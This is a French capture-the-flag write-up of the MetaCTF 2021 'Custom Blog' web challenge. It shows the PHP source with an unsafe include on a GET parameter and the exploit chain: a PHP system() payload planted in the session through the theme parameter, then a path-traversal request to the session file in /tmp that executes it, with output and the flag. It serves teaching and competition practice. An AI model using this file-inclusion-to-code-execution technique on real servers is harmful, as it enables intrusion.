visage coloré avec les réseaux sociaux et le logo MegaCTF

MetaCTF 2021 Custom Blog

A la Une25/02/2022

Par Aldric Berthet-Bondet et Florian Picca

Dans ce challenge, nous allons devoir exploiter une inclusion de fichier arbitraire pour obtenir une exécution de code à distance sur le serveur à partir d’un blog écrit en PHP.

Details

  • Catégorie : Web
  • Points : 350
  • Résolutions : 86

Description

This guy wrote his own blog in PHP instead of, I dunno, literally anything else. Can you teach him a lesson?

The server is running php 7.4.26. If you’re running locally, use Docker

php@sha256:920a88344203adf78471ca898773f0e0ac171fb4a3be4ba2d4f9585163aaf038

Note: You won’t be able to read the flag directly. If the flag appears to be empty, try a different strategy.

Fichiers sources :

Un fichier zip contenant du code source PHP a été fourni avec le contenu suivant :

tree
.
├── index.php
├── post.php
├── set.php
├── style.css
└── theme.php

0 directories, 5 files

Comprendre le problème

Tout d’abord, nous avons commencé par nous rendre sur le blog pour comprendre ce à quoi nous avions à faire. En visitant les différentes les pages, nous avons rapidement remarqué que les articles du blog sont chargés via une variable GET (dont la valeur est attribuée à leur nom). http://host.cg21.metaproblems.com:4130/post.php?post=2021-11-01-first-post

Avec cela en tête, nous avons immédiatement pensé à une inclusion de fichier local qui nous permettrait simplement de charger le fichier contenant le flag (Game over :p).

Résoudre le problème

Notre hypothèse était correcte mais tout ne s'est pas passé comme prévu...

Bien que nous ayons essayé à plusieurs reprises, en testant quelques répertoires (/home/flag, etc.), nous n’avons pas réussi à afficher le flag. Mais nos recherches n’ont pas été inutiles. Nous avons remarqué que le serveur ne répondait pas de la même manière lorsque nous essayions d’accéder à des fichiers ou des répertoires existants/non existants sur le système de fichiers. Il s’agit d’une information importante qui nous a permis de comprendre que le flag était sauvegardé dans /flag sous le nom “flag.txt”.

 

       

 

Après une dizaine de minutes de recherche, nous avons décidé de jeter un coup d’œil au code source :
<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>My Blog</title>
    <link rel="stylesheet" href="/style.css">
    <?php include 'theme.php'; ?>
  </head>

  <body>
    <h1>welcome to my blog! 🍊</h1>
    <p>a place for me to talk about stuff</p>
    <p>
      switch color theme:
      <a href="/set.php?theme=dark">dark mode</a>
      <a href="/set.php?theme=light">light mode</a>
    </p>
    <hr>
    <ul>
      <?php
        $posts = glob("posts/*");
        foreach ($posts as $post) {
          $name = basename($post);
          echo '<li><a href="/post.php?post=' . $name . '">' . $name . '</a></li>';
        }
      ?>
    </ul>
  </body>
</html>

Le fichier index.php se contente d’énumérer les noms des articles et offre aux utilisateurs la possibilité de passer du thème sombre au thème clair.

Le fichier theme.php est le suivant :

<style type="text/css">
<?php
  $themes = array('light'=>['#111', '#eee'], 'dark'=>['#eee','#111']);

  if (!isset($_SESSION['theme'])) {
    $_SESSION['theme'] = 'light';
  }

  $theme = $_SESSION['theme'];
  if (!array_key_exists($theme, $themes)) {
    $theme = 'light';
  }

  echo 'body { color: ' . $themes[$theme][0] . '; background-color: ' . $themes[$theme][1] . '; }';
?>
</style>

En fait, il permet simplement de modifier la couleur du fond et du corps.

Le fichier post.php charge le contenu de l’article :

<?php
  session_start();

  if (isset($_GET['post']) && file_exists($post = 'posts/' . $_GET['post'])) {
    $ok = true;
  } else {
    $ok = false;
    http_response_code(404);
  }
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?= htmlentities($_GET['post']) ?></title>
    <link rel="stylesheet" href="/style.css">
    <?php include 'theme.php'; ?>
  </head>

  <body>
    <?php
      if ($ok) {
        echo '<h1>' . htmlentities($_GET['post']) . '</h1><hr><div class="post">';
        include $post;
        echo '</div>';
      } else {
        echo '<h1>post not found :(</h1><hr>';
      }
    ?>
    <a href="/">home</a>
  </body>
</html>

Il vérifie d’abord si le fichier existe. Dans le cas contraire, on obtient une erreur 404, sinon le fichier est chargé en appelant la fonction include qui est ici à l’origine de la vulnérabilité LFI.

L’un des postes donne des explications un hack précédent :

i got hacked???
someone broke in and added a post
and they stole all my flags...
maybe i shouldn't have put them in such an obvious place like `/flag` :(

Parce que nous avons trouvé le nouvel emplacement du flag, mais nous ne pouvions pas le lire. Et parce que le hacker précédent semblait avoir obtenu de l’exécution de code à distance, nous avons pensé que nous devrions faire de même pour parvenir à lire le flag.

Le fichier set.php assigne la variable de session theme à une valeur contrôlée par l’utilisateur :

<?php
  session_start();

  if (isset($_GET['theme'])) {
    $_SESSION['theme'] = $_GET['theme'];
  }

  header('Location: /');
  die();
?>

En PHP, les variables de session sont stockées sur le système de fichiers et peuvent être accessibles via l’exploitation de la vulnérabilité LFI. Si nous parvenons à injecter du code PHP dans la variable de session et à l’inclure avec la LFI, nous obtiendrons un RCE sur le serveur.

Pour localiser l’emplacement du fichier de l’objet de session, nous avons fait quelques recherches et découvert qu’il est stocké dans /tmp. La nomenclature du fichier étant la suivante : sess_<ID> avec <ID> l’ID de session PHP trouvé dans notre cookie :

Implémentation de la solution

L’exploitation finale se fait en deux étapes, d’abord nous envoyons la charge utile PHP en utilisant le point de terminaison set.php et ensuite nous déclenchons le RCE en se servant de la LFI :

# First request
/set.php?theme=%3C?php%20system('ls -lah /flag');?%3E
# Second request
/post.php?post=../../../../../tmp/sess_dto8dn3clk7u6464kh3lqnjdpp

Résultat :

theme|s:32:"total 796K
drwxr-xr-x 1 flag flag 4.0K Dec  3 19:21 .
drwxr-xr-x 1 root root 4.0K Dec  3 19:21 ..
-r-------- 1 flag flag   33 Dec  2 18:31 flag.txt
-rwsr-xr-x 1 flag flag 784K Dec  2 20:43 flagreader
";

Finalement, l’obtention du flag passe par l’exécution du wrapper flagreader.

Flag : MetaCTF{wh4t??lfi_1s_ev0lv1ng??}

Nos autres actualités